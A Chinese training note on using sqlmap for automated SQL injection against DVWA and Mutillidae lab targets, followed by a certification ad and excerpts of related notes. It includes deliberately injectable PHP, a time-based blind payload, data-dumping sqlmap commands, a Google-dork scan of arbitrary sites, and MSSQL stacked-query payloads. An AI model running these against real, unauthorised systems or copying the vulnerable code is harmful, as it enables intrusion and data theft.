【安全牛学习笔记】​SQLMAP- 自动注入

SQLMAP自动注入

开源sql注入漏洞检测、利用工具

检测动态页面中get/post参数、cookie、http头

数据榨取

文件系统访问

操作系统命令执行

引擎强大、特性丰富

Xss漏洞检测

------------------------------------------------------------------------------

低安全代码

<?php

if (isset($_GET[‘Submit‘])){

// Retrieve data

$id = $_GET[‘id‘];

$getid = "SELECT first_name,last_name FROM users WHERE user_id =‘$id‘;

$result = mysql_query($getid);

$num = @mysql_numrows($result);

$i = 0;

while ($i < $num){

$first = mysql_result($result,$i,"first_name");

$last = mysql_result($result,$i,"last_name");

echo ‘<pre>‘;

echo ‘ID: ‘ . $id . ‘<br>first_name: ‘ . $first . ‘<br>Surname: ‘ . $last;

echi ‘</pre>‘;

$i++;

}

}

?>

------------------------------------------------------------------------------

中安全代码

<?php

if (isset($_GET[‘Submit‘])){

// Retrieve data

$id = $_GET[‘id‘];

$id = mysql_real_escape_string($id);

$getid = "SELECT first_name,last_name FROM users WHERE user_id =‘$id‘;

$result = mysql_query($getid);    // Removed or die‘ to suppres mysql errors

$num = @mysql_numrows($result);   // The ‘@‘ character supressed errors making the injection bling

$i = 0;

while ($i < $num){

$first = mysql_result($result,$i,"first_name");

$last = mysql_result($result,$i,"last_name");

echo ‘<pre>‘;

echo ‘ID: ‘ . $id . ‘<br>first_name: ‘ . $first . ‘<br>Surname: ‘ . $last;

echi ‘</pre>‘;

$i++;

}

}

?>

-------------------------------------------------------------------------

高安全代码

<?php

if (isset($_GET[‘Submit‘])){

// Retrieve data

$id = $_GET[‘id‘];

$id = stripslashed($id);

$id = mysql_real_escape_string($id);

$getid = "SELECT first_name,last_name FROM users WHERE user_id =‘$id‘;

$result = mysql_query($getid);    // Removed or die‘ to suppres mysql errors

$num = @mysql_numrows($result);   // The ‘@‘ character supressed errors making the injection bling

$i = 0;

while ($i < $num){

$first = mysql_result($result,$i,"first_name");

$last = mysql_result($result,$i,"last_name");

echo ‘<pre>‘;

echo ‘ID: ‘ . $id . ‘<br>first_name: ‘ . $first . ‘<br>Surname: ‘ . $last;

echi ‘</pre>‘;

$i++;

}

}

?>

------------------------------------------------------------------------

SQLMAP自动注入

五种漏洞检测技术

基于布尔的盲注检测

基于时间的盲注检测

‘and (select * from (select(sleep(20)))a)--+

基于错误的检测

基于UNION联合查询的检测

适用于通过循坏直接输出联合查询结果,否则只显示第一项结果

基于堆叠查询的检测

;堆叠多个查询语句

适用于非select的数据修改、删除的操作

支持的数据库管理系统DBMS

MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,

Firebird,Sybase,SAP MaxDB

SQLMAP自动注入

其他特性

数据库直接连接-d

不通过SQL注入,制定身份证信息、IP、端口

与burpustie、google结合适用,支持政策表达式限定测试目标

Get、post、cookie、Referer、User-Agent(随机或指定)

Cookie过期后自动处理Set-Cookie头,更新cookie信息

限速:最大并发、延迟发送

支持Basic,Digest,NTLM,CA身份认证

数据库版本、用户、权限、hash枚举和字典破解、暴力破解表列名称

文件上传下载、UDF、启动并执行存储过程、操作系统命令执行、访问windows注册表

与w3af、metasploit集成结合适用,基于数据库服务进程提权和上传执行后门

SQLMAP自动注入

基于python2.7开发

安装

apt-get install git

git clone https://gihub.com/sqlmapproject/sqlmap.git sqlmap-dev

升级

sqlmap --update 在线

git pull        离线

Kali集成板随kali库更新

[email protected]:~# sqlmap --update

[email protected]:~# sqlmap --version      //查看sqlmap版本

[email protected]:~# git clone https://gihub.com/sqlmapproject/sqlmap.git sqlmap-dev

SQLMAP自动注入

sqlmap -h / -hh

sqlmap -d "mysql://root:@192.168.20.10:3306/dvwa" -f -users

--banner --dbs --schema -a

sqlmap --version -v

日志

sqlmap

输出

输出内容详细度分7个等级

[email protected]:~# sqlmap -h

[email protected]:~# sqlmap -hh   //所有的参数

SQLMAP自动注入

Get方法

sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-

info.php&username=11&password=22&user-info-php-submit-

button=View+Account+Details" -p username -f

扫描URL列表文件

http://1.1.1.1/vuln.php?q=foobar

http://1.1.1.1/vuln3/id/1*

sqlmap -m list.txt

扫描google搜索结果

sqlmap.py -g "inurl:\".php?id=1\""

[email protected]:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username

文件保存到/root/.sqlmap/output

[email protected]:~# cd .sqlmap/

[email protected]:~/.sqlmap# ls

output

[email protected]:~/.sqlmap# cd output/

[email protected]:~/.sqlmap/output# ls

192.168.1.121

[email protected]:~/.sqlmap/output# cd 192.168.1.121

[email protected]:~/.sqlmap/output/192.168.1.121# ls

log  session.sqlite  target.txt

[email protected]:~/.sqlmap/output/192.168.1.121# more log

[email protected]:~/.sqlmap/output/192.168.1.121# more session.sqlite

[email protected]:~/.sqlmap/output/192.168.1.121# more  target.txt

[email protected]:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --users

[email protected]:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --banner

[email protected]:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --schema

[email protected]:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --schema -a     //所有

[email protected]:~# sqlmap -d "mysql://[email protected]:3306/dvwa" -f -users

[email protected]:~# sqlmap -d "mysql://[email protected]:3306/dvwa" -f -banner

[email protected]:~# sqlmap -d "mysql://[email protected]:3306/dvwa" -f -a

[email protected]:~# vi list

http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details

[email protected]:~# sqlmap -m list.txt --dbs

[email protected]:~# sqlmap -m list.txt --user

SQLMAP自动注入

POST方法

使用http请求文件(burpsuite)

sqlmap -r request.txt

使用burpsuite log文件

sqlmap -l log.txt

HTTPS

sqlmap -u "http://1.1.1.1/a.php?id=1:8843" --force-ssl

扫描配置文件

sqlmap -c sqlmap.conf

[email protected]:~# vi post

User-Agent: Mozilla/5.0 (x11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Icweasel/43.0.4

Accept: text/htm,appliction/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accep-Encoding: gzip, deflate

Referer: http://192.168.1.121/murillidae/index.php?page=login.php

Cookie: PHPSESSID=558206c48166fc5523a87b591100fb3e

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 52

useranme=1&password=11&login-php-submin-button=login

[email protected]:~# sqlmap -r post.txt --dbs

[email protected]:~# dpkg -L sqlmap | grep sqlmap.com

/etc/sqlmap/sqlmap.conf

/usr/share/doc/sqlmap/examples/sqlmap.conf.gz

[email protected]:~# cat /etc/sqlmap/sqlmap.conf

该笔记为安全牛课堂学员笔记,想看此课程或者信息安全类干货可以移步到安全牛课堂

Security+认证为什么是互联网+时代最火爆的认证?

牛妹先给大家介绍一下Security+

Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会CompTIA ;是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和CISSP偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作。

通过该认证证明了您具备网络安全,合规性和操作安全,威胁和漏洞,应用程序、数据和主机安全,访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易,含金量较高,目前已被全球企业和安全专业人士所普遍采纳。

Security+认证如此火爆的原因?

原因一:在所有信息安全认证当中,偏重信息安全技术的认证是空白的, Security+认证正好可以弥补信息安全技术领域的空白 。

目前行业内受认可的信息安全认证主要有CISP和CISSP,但是无论CISP还是CISSP都是偏重信息安全管理的,技术知识讲的宽泛且浅显,考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上,CISP也要求大专学历4年以上工作经验,这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中,无论是找工作还是升职加薪,或是投标时候报人员,认证都是必不可少的,这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍,由于Security+偏重信息安全技术,所以对工作经验没有特别的要求。只要你有IT相关背景,追求进步就可以学习和考试。

原因二: IT运维人员工作与翻身的利器。

在银行、证券、保险、信息通讯等行业,IT运维人员非常多,IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍,死亦写代码”的悲壮,但也有着“锄禾日当午,不如运维苦“的感慨。天天对着电脑和机器,时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识,掌握网络安全实践。职业发展朝着网络安全的方向发展,解决国内信息安全人才的匮乏问题。另外,即使不转型,要做好运维工作,学习安全知识取得安全认证也是必不可少的。

原因三:接地气、国际范儿、考试方便、费用适中!

CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。

在目前的信息安全大潮之下,人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的,相信Security+认证一定会成为最火爆的信息安全认证。

时间: 2024-10-10 10:09:02

【安全牛学习笔记】​SQLMAP- 自动注入的相关文章

【安全牛学习笔记】MSsqlL注入取得网站路径最好的方法

exec master..xp_dirtree'd:/test' 假设我们在test里有两个文件夹test1和test2在test1里又有test3结果显示subdirectory depthtest1 1test3 2test2 1哈哈发现没有那个depth就是目录的级数ok了,知道怎么办了吧http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--http://www.xxxx

【安全牛学习笔记】SQLMAP自动注入-ENUMERATION、BRUTE FORCE、UDF IN

伪静态页面不能注入,这是错误的! SQLMAP自动注入08-----ENUMERATION --current-user --current-db --hostname --users --privileges -U username (CU当前账号) --roles --dbs --tables,--exclude-sysdbs -D dvwa -T user -D dvwa -C user --columns [email protected]:~# sqlmap -u "http://19

【安全牛学习笔记】SQLMAP自动注入-INHECTION、DETECTION、TECHNIQUES

SQLMAP自动注入04-----INJECTION -p 指定扫描的参数,使--level失效 -p "user-agent,referer" --skip 排除指定的扫描参数 --level=5 --skip="id,user-agent" URI注入点 sqlmap -u "http://targeturl/param1/value1*/param2/value2/" [email protected]:~# sqlmap -u "

【安全牛学习笔记】SQLMAP自动注入(二)

SQLMAP自动注入(二)-REQUEST和SQLMAP自动注入(三)-OPTIMIZATION SQLMAP自动注入02-----REQUEST --delay 每次http(s)请求之间延迟时间,浮点数,单位为秒,默认无延迟 --timeout 请求超时时间,浮点数,默认为30秒 --retries http(s)连接超时重试次数,默认3次 --randomize 长度.类型与原始值保持一致的前提下,指定每次请求随机取值的参数名 SQLMAP自动注入02-----REQUEST --scop

小白日记44:kali渗透测试之Web渗透-SqlMap自动注入(二)-sqlmap参数详解REQUEST

Sqlmap自动注入(二) Request ################################################### #inurl:.php?id= 1. 数据段:--data Get/post都使用 [POST方法]Sqlmap -u "http://1.1.1.1/a.php" --data="user=1&pass=2" –f #sqlmap可自动识别"&" [GET方法]Sqlmap –u &

thinkphp学习笔记9—自动加载

1.命名空间自动加载 在3.2版本中不需要手动加载类库文件,可以很方便的完成自动加载. 系统可以根据类的命名空间自动定位到类库文件,例如定义了一个类Org\Util\Auth类: namespace Org\Util; class Auth { } 保存到ThinkPHP/Library/Org/Util/Auth.class.php 这样我们就可以直接实例化了, new \Org\Util\Auth(); 实例化之后系统会自动加载 ThinkPHP/Library/Org/Util/Auth.

小白日记46:kali渗透测试之Web渗透-SqlMap自动注入(四)-sqlmap参数详解- Enumeration,Brute force,UDF injection,File system,OS,Windows Registry,General,Miscellaneous

sqlmap自动注入 Enumeration[数据枚举] --privileges -U username[CU 当前账号] -D dvwa -T users -C user --columns  [指定数据库,表,列] --exclude-sysdbs [排除系统层的库] ******************************************************************************* #查具体数据 [前提:当前数据库用户有权读取informatio

swift学习笔记(七)自动引用计数

与Object-c一样,swift使用自动引用计数来跟踪并管理应用使用的内存.当实例不再被使用时,及retainCount=0时,会自动释放是理所占用的内存空间. 注:引用计数仅适用于类的实例,因为struct和enumeration属于值类型,也就不牵涉引用,所以其存储和管理方式并不是引用计数. 当一个实例被初始化时,系统会自动分配一定的内存空间,用于管理属性和方法.当实例对象不再被使用时,其内存空间被收回. swift中的引用类型分为三种,即Strong强引用,weak弱引用和无主引用unw

小白日记45:kali渗透测试之Web渗透-SqlMap自动注入(三)-sqlmap参数详解-Optimization,Injection,Detection,Techniques,Fingerprint

sqlmap自动注入 Optimization [优化性能参数,可提高效率] -o:指定前三个参数(--predict-output.--keep-alive.--null-connection) --predict-output: 根据检测方法,比岁返回值和统计表内容,不断缩小检测范围,提高检测效率 可检测的返回值:版本名.用户名.密码.Privaleges.role.数据库名称.表名.列名 与--threads参数不兼容 统计表:/usr/share/sqlmap/txt/common-ou